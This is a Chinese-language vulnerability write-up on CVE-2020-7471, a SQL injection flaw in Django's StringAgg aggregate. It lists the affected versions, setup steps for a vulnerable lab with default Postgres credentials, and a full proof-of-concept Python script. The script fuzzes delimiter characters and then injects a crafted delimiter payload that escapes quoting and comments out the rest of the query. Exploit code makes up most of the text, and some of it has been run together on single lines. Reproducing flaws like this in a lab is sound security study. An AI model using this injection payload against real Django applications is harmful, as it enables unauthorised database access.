(CVE-2020-7471)Django_sql注入漏洞

# (CVE-2020-7471)Django sql注入漏洞

===================================

一、漏洞简介
————

Django是高水准的由Python编程语言驱动的一个开源Web应用程序框架,起源于开源社区。使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序,应用广泛。2020年2月初,Django
官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞(CVE-2020-7471)。攻击者可通过构造分隔符传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义并注入恶意SQL语句

二、漏洞影响
————

Django 1.11.x \< 1.11.28Django 2.2.x \< 2.2.10Django 3.0.x \< 3.0.3Django 主开发分支 三、复现过程 ------------ ### 环境安装 1. 安装 django 漏洞版本,我测试用的是 - pip install django==3.0.2 -i https://pypi.tuna.tsinghua.edu.cn/simple 2. 参考 https://www.runoob.com/postgresql/windows-install-postgresql.html 完成 postgres 数据库的安装 3. 新建数据库 - CREATE DATABASE test; 4. 修改 sqlvul\_projects/settings.py 里面的数据库配置,如果上一步你安装用的默认配置(包括设置密码为postgres),就无需修改任何配置,可以跳过这一步 - DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql', 'NAME': 'test', # 数据库名称 'USER': 'postgres', 'PASSWORD': 'postgres', # 数据库用户密码 'HOST': '127.0.0.1', # 数据库地址 'PORT': '5432', } } 5. 通过 django 初始化数据表 - python3 manage.py migrate python3 manage.py makemigrations vul_app python3 manage.py migrate vul_app ### poc # encoding:utf-8 import os import django os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings") # Django 版本大于等于1.7的时候,需要加上下面两句 if django.VERSION >= (1, 7):#自动判断版本
django.setup()

from vul_app.models import Info
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Count

“””
postgres 预先执行的SQL
CREATE DATABASE test;
\c test;
\d 列出当前数据库的所有表格
“””

def initdb():
data = [(‘li’,’male’),(‘zhao’,’male’),(‘zhang’,’female’)]
for name,gender in data:
Info.objects.get_or_create(name=name,gender=gender)

def query():
# FUZZ delimiter
error_c = []
other_error_c = []
for c in “!@#$%^&*()_+=-|\\\”‘:;?/>.<,{}[]": results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c)) try: for e in results: pass except IndexError: error_c.append(c) except: other_error_c.append(c) print(error_c) print(other_error_c) def query_with_evil(): ''' 注入点证明 分别设置delimiter为 单引号 二个单引号 二个双引号 尝试注释后面的内容 ')-- :return: ''' print("[+]正常的输出:") payload = '-' results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload)) for e in results: print(e) print("[+]注入后的的输出:") payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- ' results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload)) for e in results: print(e) if __name__ == '__main__': print(django.VERSION) # 测试版本 3.0.2 initdb() query() query_with_evil() 然后运行 POC 脚本`CVE-2020-7471.py`就可以了 > 漏洞环境及其poc下载地址:https://github.com/ianxtianxt/CVE-2020-7471

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容